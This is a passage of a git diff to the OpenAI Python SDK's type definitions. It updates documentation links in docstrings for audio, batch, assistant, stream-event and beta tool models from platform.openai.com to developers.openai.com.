+ This is also the first event emitted when the transcription starts. Only emitted when you [create a transcription](https://developers.openai.com/api/reference/resources/audio/subresources/transcriptions/methods/create) with the `Stream` parameter set to `true`.
"""
delta: str
@@ -35,7 +35,7 @@ class TranscriptionTextDeltaEvent(BaseModel):
"""The log probabilities of the delta.
Only included if you
- [create a transcription](https://platform.openai.com/docs/api-reference/audio/create-transcription)
+ [create a transcription](https://developers.openai.com/api/reference/resources/audio/subresources/transcriptions/methods/create)
with the `include[]` parameter set to `logprobs`.
"""
diff --git a/src/openai/types/audio/transcription_text_done_event.py b/src/openai/types/audio/transcription_text_done_event.py
index f56914079e..86a4910d54 100644
--- a/src/openai/types/audio/transcription_text_done_event.py
+++ b/src/openai/types/audio/transcription_text_done_event.py
@@ -52,7 +52,7 @@ class Usage(BaseModel):
class TranscriptionTextDoneEvent(BaseModel):
"""Emitted when the transcription is complete.
- Contains the complete transcription text. Only emitted when you [create a transcription](https://platform.openai.com/docs/api-reference/audio/create-transcription) with the `Stream` parameter set to `true`.
+ Contains the complete transcription text. Only emitted when you [create a transcription](https://developers.openai.com/api/reference/resources/audio/subresources/transcriptions/methods/create) with the `Stream` parameter set to `true`.
"""
text: str
@@ -72,7 +72,7 @@ class TranscriptionTextDoneEvent(BaseModel):
"""The log probabilities of the individual tokens in the transcription.
Only included if you
- [create a transcription](https://platform.openai.com/docs/api-reference/audio/create-transcription)
+ [create a transcription](https://developers.openai.com/api/reference/resources/audio/subresources/transcriptions/methods/create)
with the `include[]` parameter set to `logprobs`.
"""
diff --git a/src/openai/types/audio/transcription_text_segment_event.py b/src/openai/types/audio/transcription_text_segment_event.py
index 70ebd36559..badeb503c0 100644
--- a/src/openai/types/audio/transcription_text_segment_event.py
+++ b/src/openai/types/audio/transcription_text_segment_event.py
@@ -9,7 +9,7 @@
class TranscriptionTextSegmentEvent(BaseModel):
"""
- Emitted when a diarized transcription returns a completed segment with speaker information. Only emitted when you [create a transcription](https://platform.openai.com/docs/api-reference/audio/create-transcription) with `stream` set to `true` and `response_format` set to `diarized_json`.
+ Emitted when a diarized transcription returns a completed segment with speaker information. Only emitted when you [create a transcription](https://developers.openai.com/api/reference/resources/audio/subresources/transcriptions/methods/create) with `stream` set to `true` and `response_format` set to `diarized_json`.
"""
id: str
diff --git a/src/openai/types/audio/translation_create_params.py b/src/openai/types/audio/translation_create_params.py
index 200826a144..c06c9abf5c 100644
--- a/src/openai/types/audio/translation_create_params.py
+++ b/src/openai/types/audio/translation_create_params.py
@@ -31,7 +31,8 @@ class TranslationCreateParams(TypedDict, total=False):
"""An optional text to guide the model's style or continue a previous audio
segment.
- The [prompt](https://platform.openai.com/docs/guides/speech-to-text#prompting)
+ The
+ [prompt](https://developers.openai.com/api/docs/guides/speech-to-text#prompting)
should be in English.
"""
diff --git a/src/openai/types/batch.py b/src/openai/types/batch.py
index b869674f3d..9c7ad2f6fc 100644
--- a/src/openai/types/batch.py
+++ b/src/openai/types/batch.py
@@ -86,8 +86,8 @@ class Batch(BaseModel):
OpenAI offers a wide range of models with different capabilities, performance
characteristics, and price points. Refer to the
- [model guide](https://platform.openai.com/docs/models) to browse and compare
- available models.
+ [model guide](https://developers.openai.com/api/docs/models) to browse and
+ compare available models.
"""
output_file_id: Optional[str] = None
diff --git a/src/openai/types/batch_create_params.py b/src/openai/types/batch_create_params.py
index 526637ace5..ed55c0dfe5 100644
--- a/src/openai/types/batch_create_params.py
+++ b/src/openai/types/batch_create_params.py
@@ -41,11 +41,12 @@ class BatchCreateParams(TypedDict, total=False):
input_file_id: Required[str]
"""The ID of an uploaded file that contains requests for the new batch.
- See [upload file](https://platform.openai.com/docs/api-reference/files/create)
+ See
+ [upload file](https://developers.openai.com/api/reference/resources/files/methods/create)
for how to upload a file.
Your input file must be formatted as a
- [JSONL file](https://platform.openai.com/docs/api-reference/batch/request-input),
+ [JSONL file](https://developers.openai.com/api/docs/guides/batch#1-prepare-your-batch-file),
and must be uploaded with the purpose `batch`. The file can contain up to 50,000
requests, and can be up to 200 MB in size.
"""
diff --git a/src/openai/types/batch_usage.py b/src/openai/types/batch_usage.py
index e233ee1f83..e484522fb1 100644
--- a/src/openai/types/batch_usage.py
+++ b/src/openai/types/batch_usage.py
@@ -11,7 +11,7 @@ class InputTokensDetails(BaseModel):
cached_tokens: int
"""The number of tokens that were retrieved from the cache.
- [More on prompt caching](https://platform.openai.com/docs/guides/prompt-caching).
+ [More on prompt caching](https://developers.openai.com/api/docs/guides/prompt-caching).
"""
diff --git a/src/openai/types/beta/assistant.py b/src/openai/types/beta/assistant.py
index d7f769ec9b..de28df1ab5 100644
--- a/src/openai/types/beta/assistant.py
+++ b/src/openai/types/beta/assistant.py
@@ -14,9 +14,9 @@
class ToolResourcesCodeInterpreter(BaseModel):
file_ids: Optional[List[str]] = None
"""
- A list of [file](https://platform.openai.com/docs/api-reference/files) IDs made
- available to the `code_interpreter`` tool. There can be a maximum of 20 files
- associated with the tool.
+ A list of [file](https://developers.openai.com/api/reference/resources/files)
+ IDs made available to the `code_interpreter`` tool. There can be a maximum of 20
+ files associated with the tool.
"""
@@ -24,7 +24,7 @@ class ToolResourcesFileSearch(BaseModel):
vector_store_ids: Optional[List[str]] = None
"""
The ID of the
- [vector store](https://platform.openai.com/docs/api-reference/vector-stores/object)
+ [vector store](https://developers.openai.com/api/reference/resources/vector_stores)
attached to this assistant. There can be a maximum of 1 vector store attached to
the assistant.
"""
@@ -73,10 +73,10 @@ class Assistant(BaseModel):
"""ID of the model to use.
You can use the
- [List models](https://platform.openai.com/docs/api-reference/models/list) API to
- see all of your available models, or see our
- [Model overview](https://platform.openai.com/docs/models) for descriptions of
- them.
+ [List models](https://developers.openai.com/api/reference/resources/models/methods/list)
+ API to see all of your available models, or see our
+ [Model overview](https://developers.openai.com/api/docs/models) for descriptions
+ of them.
"""
name: Optional[str] = None
@@ -95,14 +95,14 @@ class Assistant(BaseModel):
response_format: Optional[AssistantResponseFormatOption] = None
"""Specifies the format that the model must output.
- Compatible with [GPT-4o](https://platform.openai.com/docs/models#gpt-4o),
- [GPT-4 Turbo](https://platform.openai.com/docs/models#gpt-4-turbo-and-gpt-4),
- and all GPT-3.5 Turbo models since `gpt-3.5-turbo-1106`.
+ Compatible with [GPT-4o](https://developers.openai.com/api/docs/models/gpt-4o),
+ [GPT-4 Turbo](https://developers.openai.com/api/docs/models/gpt-4-turbo), and
+ all GPT-3.5 Turbo models since `gpt-3.5-turbo-1106`.
Setting to `{ "type": "json_schema", "json_schema": {...} }` enables Structured
Outputs which ensures the model will match your supplied JSON schema. Learn more
in the
- [Structured Outputs guide](https://platform.openai.com/docs/guides/structured-outputs).
+ [Structured Outputs guide](https://developers.openai.com/api/docs/guides/structured-outputs).
Setting to `{ "type": "json_object" }` enables JSON mode, which ensures the
message the model generates is valid JSON.
diff --git a/src/openai/types/beta/assistant_create_params.py b/src/openai/types/beta/assistant_create_params.py
index 5ac2ee20c9..7e863575f8 100644
--- a/src/openai/types/beta/assistant_create_params.py
+++ b/src/openai/types/beta/assistant_create_params.py
@@ -30,10 +30,10 @@ class AssistantCreateParams(TypedDict, total=False):
"""ID of the model to use.
You can use the
- [List models](https://platform.openai.com/docs/api-reference/models/list) API to
- see all of your available models, or see our
- [Model overview](https://platform.openai.com/docs/models) for descriptions of
- them.
+ [List models](https://developers.openai.com/api/reference/resources/models/methods/list)
+ API to see all of your available models, or see our
+ [Model overview](https://developers.openai.com/api/docs/models) for descriptions
+ of them.
"""
description: Optional[str]
@@ -65,21 +65,21 @@ class AssistantCreateParams(TypedDict, total=False):
`xhigh`, and `max`. Reducing reasoning effort can result in faster responses and
fewer tokens used on reasoning in a response. Not all reasoning models support
every value. See the
- [reasoning guide](https://platform.openai.com/docs/guides/reasoning) for
+ [reasoning guide](https://developers.openai.com/api/docs/guides/reasoning) for
model-specific support.
"""
response_format: Optional[AssistantResponseFormatOptionParam]
"""Specifies the format that the model must output.
- Compatible with [GPT-4o](https://platform.openai.com/docs/models#gpt-4o),
- [GPT-4 Turbo](https://platform.openai.com/docs/models#gpt-4-turbo-and-gpt-4),
- and all GPT-3.5 Turbo models since `gpt-3.5-turbo-1106`.
+ Compatible with [GPT-4o](https://developers.openai.com/api/docs/models/gpt-4o),
+ [GPT-4 Turbo](https://developers.openai.com/api/docs/models/gpt-4-turbo), and
+ all GPT-3.5 Turbo models since `gpt-3.5-turbo-1106`.
Setting to `{ "type": "json_schema", "json_schema": {...} }` enables Structured
Outputs which ensures the model will match your supplied JSON schema. Learn more
in the
- [Structured Outputs guide](https://platform.openai.com/docs/guides/structured-outputs).
+ [Structured Outputs guide](https://developers.openai.com/api/docs/guides/structured-outputs).
Setting to `{ "type": "json_object" }` enables JSON mode, which ensures the
message the model generates is valid JSON.
@@ -128,9 +128,9 @@ class AssistantCreateParams(TypedDict, total=False):
class ToolResourcesCodeInterpreter(TypedDict, total=False):
file_ids: SequenceNotStr[str]
"""
- A list of [file](https://platform.openai.com/docs/api-reference/files) IDs made
- available to the `code_interpreter` tool. There can be a maximum of 20 files
- associated with the tool.
+ A list of [file](https://developers.openai.com/api/reference/resources/files)
+ IDs made available to the `code_interpreter` tool. There can be a maximum of 20
+ files associated with the tool.
"""
@@ -180,10 +180,10 @@ class ToolResourcesFileSearchVectorStore(TypedDict, total=False):
file_ids: SequenceNotStr[str]
"""
- A list of [file](https://platform.openai.com/docs/api-reference/files) IDs to
- add to the vector store. For vector stores created before Nov 2025, there can be
- a maximum of 10,000 files in a vector store. For vector stores created starting
- in Nov 2025, the limit is 100,000,000 files.
+ A list of [file](https://developers.openai.com/api/reference/resources/files)
+ IDs to add to the vector store. For vector stores created before Nov 2025, there
+ can be a maximum of 10,000 files in a vector store. For vector stores created
+ starting in Nov 2025, the limit is 100,000,000 files.
"""
metadata: Optional[Metadata]
@@ -201,7 +201,7 @@ class ToolResourcesFileSearch(TypedDict, total=False):
vector_store_ids: SequenceNotStr[str]
"""
The
- [vector store](https://platform.openai.com/docs/api-reference/vector-stores/object)
+ [vector store](https://developers.openai.com/api/reference/resources/vector_stores)
attached to this assistant. There can be a maximum of 1 vector store attached to
the assistant.
"""
@@ -209,7 +209,7 @@ class ToolResourcesFileSearch(TypedDict, total=False):
vector_stores: Iterable[ToolResourcesFileSearchVectorStore]
"""
A helper to create a
- [vector store](https://platform.openai.com/docs/api-reference/vector-stores/object)
+ [vector store](https://developers.openai.com/api/reference/resources/vector_stores)
with file_ids and attach it to this assistant. There can be a maximum of 1
vector store attached to the assistant.
"""
diff --git a/src/openai/types/beta/assistant_stream_event.py b/src/openai/types/beta/assistant_stream_event.py
index e1f2284934..94a8a15ecb 100644
--- a/src/openai/types/beta/assistant_stream_event.py
+++ b/src/openai/types/beta/assistant_stream_event.py
@@ -44,13 +44,13 @@
class ThreadCreated(BaseModel):
"""
- Occurs when a new [thread](https://platform.openai.com/docs/api-reference/threads/object) is created.
+ Occurs when a new [thread](https://developers.openai.com/api/docs/assistants/migration) is created.
"""
data: Thread
"""
Represents a thread that contains
- [messages](https://platform.openai.com/docs/api-reference/messages).
+ [messages](https://developers.openai.com/api/docs/assistants/migration).
"""
event: Literal["thread.created"]
@@ -61,13 +61,13 @@ class ThreadCreated(BaseModel):
class ThreadRunCreated(BaseModel):
"""
- Occurs when a new [run](https://platform.openai.com/docs/api-reference/runs/object) is created.
+ Occurs when a new [run](https://developers.openai.com/api/docs/assistants/migration) is created.
"""
data: Run
"""
Represents an execution run on a
- [thread](https://platform.openai.com/docs/api-reference/threads).
+ [thread](https://developers.openai.com/api/docs/assistants/migration).
"""
event: Literal["thread.run.created"]
@@ -75,13 +75,13 @@ class ThreadRunCreated(BaseModel):
class ThreadRunQueued(BaseModel):
"""
- Occurs when a [run](https://platform.openai.com/docs/api-reference/runs/object) moves to a `queued` status.
+ Occurs when a [run](https://developers.openai.com/api/docs/assistants/migration) moves to a `queued` status.
"""
data: Run
"""
Represents an execution run on a
- [thread](https://platform.openai.com/docs/api-reference/threads).
+ [thread](https://developers.openai.com/api/docs/assistants/migration).
"""
event: Literal["thread.run.queued"]
@@ -89,13 +89,13 @@ class ThreadRunQueued(BaseModel):
class ThreadRunInProgress(BaseModel):
"""
- Occurs when a [run](https://platform.openai.com/docs/api-reference/runs/object) moves to an `in_progress` status.
+ Occurs when a [run](https://developers.openai.com/api/docs/assistants/migration) moves to an `in_progress` status.
"""
data: Run
"""
Represents an execution run on a
- [thread](https://platform.openai.com/docs/api-reference/threads).
+ [thread](https://developers.openai.com/api/docs/assistants/migration).
"""
event: Literal["thread.run.in_progress"]
@@ -103,13 +103,13 @@ class ThreadRunInProgress(BaseModel):
class ThreadRunRequiresAction(BaseModel):
"""
- Occurs when a [run](https://platform.openai.com/docs/api-reference/runs/object) moves to a `requires_action` status.
+ Occurs when a [run](https://developers.openai.com/api/docs/assistants/migration) moves to a `requires_action` status.
"""
data: Run
"""
Represents an execution run on a
- [thread](https://platform.openai.com/docs/api-reference/threads).
+ [thread](https://developers.openai.com/api/docs/assistants/migration).
"""
event: Literal["thread.run.requires_action"]
@@ -117,13 +117,13 @@ class ThreadRunRequiresAction(BaseModel):
class ThreadRunCompleted(BaseModel):
"""
- Occurs when a [run](https://platform.openai.com/docs/api-reference/runs/object) is completed.
+ Occurs when a [run](https://developers.openai.com/api/docs/assistants/migration) is completed.
"""
data: Run
"""
Represents an execution run on a
- [thread](https://platform.openai.com/docs/api-reference/threads).
+ [thread](https://developers.openai.com/api/docs/assistants/migration).
"""
event: Literal["thread.run.completed"]
@@ -131,13 +131,13 @@ class ThreadRunCompleted(BaseModel):
class ThreadRunIncomplete(BaseModel):
"""
- Occurs when a [run](https://platform.openai.com/docs/api-reference/runs/object) ends with status `incomplete`.
+ Occurs when a [run](https://developers.openai.com/api/docs/assistants/migration) ends with status `incomplete`.
"""
data: Run
"""
Represents an execution run on a
- [thread](https://platform.openai.com/docs/api-reference/threads).
+ [thread](https://developers.openai.com/api/docs/assistants/migration).
"""
event: Literal["thread.run.incomplete"]
@@ -145,13 +145,13 @@ class ThreadRunIncomplete(BaseModel):
class ThreadRunFailed(BaseModel):
"""
- Occurs when a [run](https://platform.openai.com/docs/api-reference/runs/object) fails.
+ Occurs when a [run](https://developers.openai.com/api/docs/assistants/migration) fails.
"""
data: Run
"""
Represents an execution run on a
- [thread](https://platform.openai.com/docs/api-reference/threads).
+ [thread](https://developers.openai.com/api/docs/assistants/migration).
"""
event: Literal["thread.run.failed"]
@@ -159,13 +159,13 @@ class ThreadRunFailed(BaseModel):
class ThreadRunCancelling(BaseModel):
"""
- Occurs when a [run](https://platform.openai.com/docs/api-reference/runs/object) moves to a `cancelling` status.
+ Occurs when a [run](https://developers.openai.com/api/docs/assistants/migration) moves to a `cancelling` status.
"""
data: Run
"""
Represents an execution run on a
- [thread](https://platform.openai.com/docs/api-reference/threads).
+ [thread](https://developers.openai.com/api/docs/assistants/migration).
"""
event: Literal["thread.run.cancelling"]
@@ -173,13 +173,13 @@ class ThreadRunCancelling(BaseModel):
class ThreadRunCancelled(BaseModel):
"""
- Occurs when a [run](https://platform.openai.com/docs/api-reference/runs/object) is cancelled.
+ Occurs when a [run](https://developers.openai.com/api/docs/assistants/migration) is cancelled.
"""
data: Run
"""
Represents an execution run on a
- [thread](https://platform.openai.com/docs/api-reference/threads).
+ [thread](https://developers.openai.com/api/docs/assistants/migration).
"""
event: Literal["thread.run.cancelled"]
@@ -187,13 +187,13 @@ class ThreadRunCancelled(BaseModel):
class ThreadRunExpired(BaseModel):
"""
- Occurs when a [run](https://platform.openai.com/docs/api-reference/runs/object) expires.
+ Occurs when a [run](https://developers.openai.com/api/docs/assistants/migration) expires.
"""
data: Run
"""
Represents an execution run on a
- [thread](https://platform.openai.com/docs/api-reference/threads).
+ [thread](https://developers.openai.com/api/docs/assistants/migration).
"""
event: Literal["thread.run.expired"]
@@ -201,7 +201,7 @@ class ThreadRunExpired(BaseModel):
class ThreadRunStepCreated(BaseModel):
"""
- Occurs when a [run step](https://platform.openai.com/docs/api-reference/run-steps/step-object) is created.
+ Occurs when a [run step](https://developers.openai.com/api/docs/assistants/migration) is created.
"""
data: RunStep
@@ -212,7 +212,7 @@ class ThreadRunStepCreated(BaseModel):
class ThreadRunStepInProgress(BaseModel):
"""
- Occurs when a [run step](https://platform.openai.com/docs/api-reference/run-steps/step-object) moves to an `in_progress` state.
+ Occurs when a [run step](https://developers.openai.com/api/docs/assistants/migration) moves to an `in_progress` state.
"""
data: RunStep
@@ -223,7 +223,7 @@ class ThreadRunStepInProgress(BaseModel):
class ThreadRunStepDelta(BaseModel):
"""
- Occurs when parts of a [run step](https://platform.openai.com/docs/api-reference/run-steps/step-object) are being streamed.
+ Occurs when parts of a [run step](https://developers.openai.com/api/docs/assistants/migration) are being streamed.
"""
data: RunStepDeltaEvent
@@ -237,7 +237,7 @@ class ThreadRunStepDelta(BaseModel):
class ThreadRunStepCompleted(BaseModel):
"""
- Occurs when a [run step](https://platform.openai.com/docs/api-reference/run-steps/step-object) is completed.
+ Occurs when a [run step](https://developers.openai.com/api/docs/assistants/migration) is completed.
"""
data: RunStep
@@ -248,7 +248,7 @@ class ThreadRunStepCompleted(BaseModel):
class ThreadRunStepFailed(BaseModel):
"""
- Occurs when a [run step](https://platform.openai.com/docs/api-reference/run-steps/step-object) fails.
+ Occurs when a [run step](https://developers.openai.com/api/docs/assistants/migration) fails.
"""
data: RunStep
@@ -259,7 +259,7 @@ class ThreadRunStepFailed(BaseModel):
class ThreadRunStepCancelled(BaseModel):
"""
- Occurs when a [run step](https://platform.openai.com/docs/api-reference/run-steps/step-object) is cancelled.
+ Occurs when a [run step](https://developers.openai.com/api/docs/assistants/migration) is cancelled.
"""
data: RunStep
@@ -270,7 +270,7 @@ class ThreadRunStepCancelled(BaseModel):
class ThreadRunStepExpired(BaseModel):
"""
- Occurs when a [run step](https://platform.openai.com/docs/api-reference/run-steps/step-object) expires.
+ Occurs when a [run step](https://developers.openai.com/api/docs/assistants/migration) expires.
"""
data: RunStep
@@ -281,13 +281,13 @@ class ThreadRunStepExpired(BaseModel):
class ThreadMessageCreated(BaseModel):
"""
- Occurs when a [message](https://platform.openai.com/docs/api-reference/messages/object) is created.
+ Occurs when a [message](https://developers.openai.com/api/docs/assistants/migration) is created.
"""
data: Message
"""
Represents a message within a
- [thread](https://platform.openai.com/docs/api-reference/threads).
+ [thread](https://developers.openai.com/api/docs/assistants/migration).
"""
event: Literal["thread.message.created"]
@@ -295,13 +295,13 @@ class ThreadMessageCreated(BaseModel):
class ThreadMessageInProgress(BaseModel):
"""
- Occurs when a [message](https://platform.openai.com/docs/api-reference/messages/object) moves to an `in_progress` state.
+ Occurs when a [message](https://developers.openai.com/api/docs/assistants/migration) moves to an `in_progress` state.
"""
data: Message
"""
Represents a message within a
- [thread](https://platform.openai.com/docs/api-reference/threads).
+ [thread](https://developers.openai.com/api/docs/assistants/migration).
"""
event: Literal["thread.message.in_progress"]
@@ -309,7 +309,7 @@ class ThreadMessageInProgress(BaseModel):
class ThreadMessageDelta(BaseModel):
"""
- Occurs when parts of a [Message](https://platform.openai.com/docs/api-reference/messages/object) are being streamed.
+ Occurs when parts of a [Message](https://developers.openai.com/api/docs/assistants/migration) are being streamed.
"""
data: MessageDeltaEvent
@@ -323,13 +323,13 @@ class ThreadMessageDelta(BaseModel):
class ThreadMessageCompleted(BaseModel):
"""
- Occurs when a [message](https://platform.openai.com/docs/api-reference/messages/object) is completed.
+ Occurs when a [message](https://developers.openai.com/api/docs/assistants/migration) is completed.
"""
data: Message
"""
Represents a message within a
- [thread](https://platform.openai.com/docs/api-reference/threads).
+ [thread](https://developers.openai.com/api/docs/assistants/migration).
"""
event: Literal["thread.message.completed"]
@@ -337,13 +337,13 @@ class ThreadMessageCompleted(BaseModel):
class ThreadMessageIncomplete(BaseModel):
"""
- Occurs when a [message](https://platform.openai.com/docs/api-reference/messages/object) ends before it is completed.
+ Occurs when a [message](https://developers.openai.com/api/docs/assistants/migration) ends before it is completed.
"""
data: Message
"""
Represents a message within a
- [thread](https://platform.openai.com/docs/api-reference/threads).
+ [thread](https://developers.openai.com/api/docs/assistants/migration).
"""
event: Literal["thread.message.incomplete"]
@@ -351,7 +351,7 @@ class ThreadMessageIncomplete(BaseModel):
class ErrorEvent(BaseModel):
"""
- Occurs when an [error](https://platform.openai.com/docs/guides/error-codes#api-errors) occurs. This can happen due to an internal server error or a timeout.
+ Occurs when an [error](https://developers.openai.com/api/docs/guides/error-codes#api-errors) occurs. This can happen due to an internal server error or a timeout.
"""
data: ErrorObject
diff --git a/src/openai/types/beta/assistant_update_params.py b/src/openai/types/beta/assistant_update_params.py
index 30c07a3569..2b28c10627 100644
--- a/src/openai/types/beta/assistant_update_params.py
+++ b/src/openai/types/beta/assistant_update_params.py
@@ -84,10 +84,10 @@ class AssistantUpdateParams(TypedDict, total=False):
"""ID of the model to use.
You can use the
- [List models](https://platform.openai.com/docs/api-reference/models/list) API to
- see all of your available models, or see our
- [Model overview](https://platform.openai.com/docs/models) for descriptions of
- them.
+ [List models](https://developers.openai.com/api/reference/resources/models/methods/list)
+ API to see all of your available models, or see our
+ [Model overview](https://developers.openai.com/api/docs/models) for descriptions
+ of them.
"""
name: Optional[str]
@@ -100,21 +100,21 @@ class AssistantUpdateParams(TypedDict, total=False):
`xhigh`, and `max`. Reducing reasoning effort can result in faster responses and
fewer tokens used on reasoning in a response. Not all reasoning models support
every value. See the
- [reasoning guide](https://platform.openai.com/docs/guides/reasoning) for
+ [reasoning guide](https://developers.openai.com/api/docs/guides/reasoning) for
model-specific support.
"""
response_format: Optional[AssistantResponseFormatOptionParam]
"""Specifies the format that the model must output.
- Compatible with [GPT-4o](https://platform.openai.com/docs/models#gpt-4o),
- [GPT-4 Turbo](https://platform.openai.com/docs/models#gpt-4-turbo-and-gpt-4),
- and all GPT-3.5 Turbo models since `gpt-3.5-turbo-1106`.
+ Compatible with [GPT-4o](https://developers.openai.com/api/docs/models/gpt-4o),
+ [GPT-4 Turbo](https://developers.openai.com/api/docs/models/gpt-4-turbo), and
+ all GPT-3.5 Turbo models since `gpt-3.5-turbo-1106`.
Setting to `{ "type": "json_schema", "json_schema": {...} }` enables Structured
Outputs which ensures the model will match your supplied JSON schema. Learn more
in the
- [Structured Outputs guide](https://platform.openai.com/docs/guides/structured-outputs).
+ [Structured Outputs guide](https://developers.openai.com/api/docs/guides/structured-outputs).
Setting to `{ "type": "json_object" }` enables JSON mode, which ensures the
message the model generates is valid JSON.
@@ -164,9 +164,9 @@ class ToolResourcesCodeInterpreter(TypedDict, total=False):
file_ids: SequenceNotStr[str]
"""
Overrides the list of
- [file](https://platform.openai.com/docs/api-reference/files) IDs made available
- to the `code_interpreter` tool. There can be a maximum of 20 files associated
- with the tool.
+ [file](https://developers.openai.com/api/reference/resources/files) IDs made
+ available to the `code_interpreter` tool. There can be a maximum of 20 files
+ associated with the tool.
"""
@@ -174,7 +174,7 @@ class ToolResourcesFileSearch(TypedDict, total=False):
vector_store_ids: SequenceNotStr[str]
"""
Overrides the
- [vector store](https://platform.openai.com/docs/api-reference/vector-stores/object)
+ [vector store](https://developers.openai.com/api/reference/resources/vector_stores)
attached to this assistant. There can be a maximum of 1 vector store attached to
the assistant.
"""
diff --git a/src/openai/types/beta/beta_computer_tool.py b/src/openai/types/beta/beta_computer_tool.py
index 0509718f52..b8566fc571 100644
--- a/src/openai/types/beta/beta_computer_tool.py
+++ b/src/openai/types/beta/beta_computer_tool.py
@@ -10,7 +10,7 @@
class BetaComputerTool(BaseModel):
"""A tool that controls a virtual computer.
- Learn more about the [computer tool](https://platform.openai.com/docs/guides/tools-computer-use).
+ Learn more about the [computer tool](https://developers.openai.com/api/docs/guides/tools-computer-use).
"""
type: Literal["computer"]
diff --git a/src/openai/types/beta/beta_computer_tool_param.py b/src/openai/types/beta/beta_computer_tool_param.py
index 72f9194880..2ae661f6cb 100644
--- a/src/openai/types/beta/beta_computer_tool_param.py
+++ b/src/openai/types/beta/beta_computer_tool_param.py
@@ -10,7 +10,7 @@
class BetaComputerToolParam(TypedDict, total=False):
"""A tool that controls a virtual computer.
- Learn more about the [computer tool](https://platform.openai.com/docs/guides/tools-computer-use).
+ Learn more about the [computer tool](https://developers.openai.com/api/docs/guides/tools-computer-use).
"""
type: Required[Literal["computer"]]
diff --git a/src/openai/types/beta/beta_computer_use_preview_tool.py b/src/openai/types/beta/beta_computer_use_preview_tool.py
index af4870df80..5ea08d2abd 100644
--- a/src/openai/types/beta/beta_computer_use_preview_tool.py
+++ b/src/openai/types/beta/beta_computer_use_preview_tool.py
@@ -10,7 +10,7 @@
class BetaComputerUsePreviewTool(BaseModel):
"""A tool that controls a virtual computer.
- Learn more about the [computer tool](https://platform.openai.com/docs/guides/tools-computer-use).
+ Learn more about the [computer tool](https://developers.openai.com/api/docs/guides/tools-computer-use).
"""
display_height: int
diff --git a/src/openai/types/beta/beta_computer_use_preview_tool_param.py b/src/openai/types/beta/beta_computer_use_preview_tool_param.py
index b36adc0fe6..f99ac13ce2 100644
--- a/src/openai/types/beta/beta_computer_use_preview_tool_param.py
+++ b/src/openai/types/beta/beta_computer_use_preview_tool_param.py
@@ -10,7 +10,7 @@
class BetaComputerUsePreviewToolParam(TypedDict, total=False):
"""A tool that controls a virtual computer.
- Learn more about the [computer tool](https://platform.openai.com/docs/guides/tools-computer-use).
+ Learn more about the [computer tool](https://developers.openai.com/api/docs/guides/tools-computer-use).
"""
display_height: Required[int]
diff --git a/src/openai/types/beta/beta_custom_tool.py b/src/openai/types/beta/beta_custom_tool.py
index 9457e9bce8..5521d24116 100644
--- a/src/openai/types/beta/beta_custom_tool.py
+++ b/src/openai/types/beta/beta_custom_tool.py
@@ -37,7 +37,7 @@ class FormatGrammar(BaseModel):
class BetaCustomTool(BaseModel):
"""A custom tool that processes input using a specified format.
- Learn more about [custom tools](https://platform.openai.com/docs/guides/function-calling#custom-tools)
+ Learn more about [custom tools](https://developers.openai.com/api/docs/guides/function-calling#custom-tools)
"""
name: str
diff --git a/src/openai/types/beta/beta_custom_tool_param.py b/src/openai/types/beta/beta_custom_tool_param.py
index 251e79dadc..e375511569 100644
--- a/src/openai/types/beta/beta_custom_tool_param.py
+++ b/src/openai/types/beta/beta_custom_tool_param.py
@@ -43,7 +43,7 @@ class FormatGrammar(TypedDict, total=False):
class BetaCustomToolParam(_BetaCustomToolParamReservedKeywords, total=False):
"""A custom tool that processes input using a specified format.
- Learn more about [custom tools](https://platform.openai.com/docs/guides/function-calling#custom-tools)
+ Learn more about [custom tools](https://developers.openai.com/api/docs/guides/function-calling#custom-tools)
"""
name: Required[str]
diff --git a/src/openai/types/beta/beta_file_search_tool.py b/src/openai/types/beta/beta_file_search_tool.py
index a84e284d6c..fe3ccd517b 100644
--- a/src/openai/types/beta/beta_file_search_tool.py
+++ b/src/openai/types/beta/beta_file_search_tool.py
@@ -131,7 +131,7 @@ class RankingOptions(BaseModel):
class BetaFileSearchTool(BaseModel):
"""A tool that searches for relevant content from uploaded files.
- Learn more about the [file search tool](https://platform.openai.com/docs/guides/tools-file-search).
+ Learn more about the [file search tool](https://developers.openai.com/api/docs/guides/tools-file-search).
"""
type: Literal["file_search"]
diff --git a/src/openai/types/beta/beta_file_search_tool_param.py b/src/openai/types/beta/beta_file_search_tool_param.py
index 95b2a955db..8aa63b1456 100644
--- a/src/openai/types/beta/beta_file_search_tool_param.py
+++ b/src/openai/types/beta/beta_file_search_tool_param.py
@@ -133,7 +133,7 @@ class RankingOptions(TypedDict, total=False):
class BetaFileSearchToolParam(TypedDict, total=False):
"""A tool that searches for relevant content from uploaded files.
- Learn more about the [file search tool](https://platform.openai.com/docs/guides/tools-file-search).
+ Learn more about the [file search tool](https://developers.openai.com/api/docs/guides/tools-file-search).
"""
type: Required[Literal["file_search"]]
diff --git a/src/openai/types/beta/beta_function_tool.py b/src/openai/types/beta/beta_function_tool.py
index 9f501664df..8238e31073 100644
--- a/src/openai/types/beta/beta_function_tool.py
+++ b/src/openai/types/beta/beta_function_tool.py
@@ -13,7 +13,7 @@
class BetaFunctionTool(BaseModel):
"""Defines a function in your own code the model can choose to call.
- Learn more about [function calling](https://platform.openai.com/docs/guides/function-calling).
+ Learn more about [function calling](https://developers.openai.com/api/docs/guides/function-calling).
"""
name: str
diff --git a/src/openai/types/beta/beta_function_tool_param.py b/src/openai/types/beta/beta_function_tool_param.py
index 70f44d43c5..7853575036 100644
--- a/src/openai/types/beta/beta_function_tool_param.py
+++ b/src/openai/types/beta/beta_function_tool_param.py
@@ -19,7 +19,7 @@
class BetaFunctionToolParam(_BetaFunctionToolParamReservedKeywords, total=False):
"""Defines a function in your own code the model can choose to call.
- Learn more about [function calling](https://platform.openai.com/docs/guides/function-calling).
+ Learn more about [function calling](https://developers.openai.com/api/docs/guides/function-calling).
"""
name: Required[str]
diff --git a/src/openai/types/beta/beta_response.py b/src/openai/types/beta/beta_response.py
index e12433639e..8e2307bc48 100644
--- a/src/openai/types/beta/beta_response.py
+++ b/src/openai/types/beta/beta_response.py
@@ -258,7 +258,7 @@ class PromptCacheOptions(BaseModel):
class Reasoning(BaseModel):
"""
Configuration options for
- [reasoning models](https://platform.openai.com/docs/guides/reasoning).
+ [reasoning models](https://developers.openai.com/api/docs/guides/reasoning).
"""
context: Optional[Literal["auto", "current_turn", "all_turns"]] = None
@@ -278,7 +278,7 @@ class Reasoning(BaseModel):
`xhigh`, and `max`. Reducing reasoning effort can result in faster responses and
fewer tokens used on reasoning in a response. Not all reasoning models support
every value. See the
- [reasoning guide](https://platform.openai.com/docs/guides/reasoning) for
+ [reasoning guide](https://developers.openai.com/api/docs/guides/reasoning) for
model-specific support.
"""
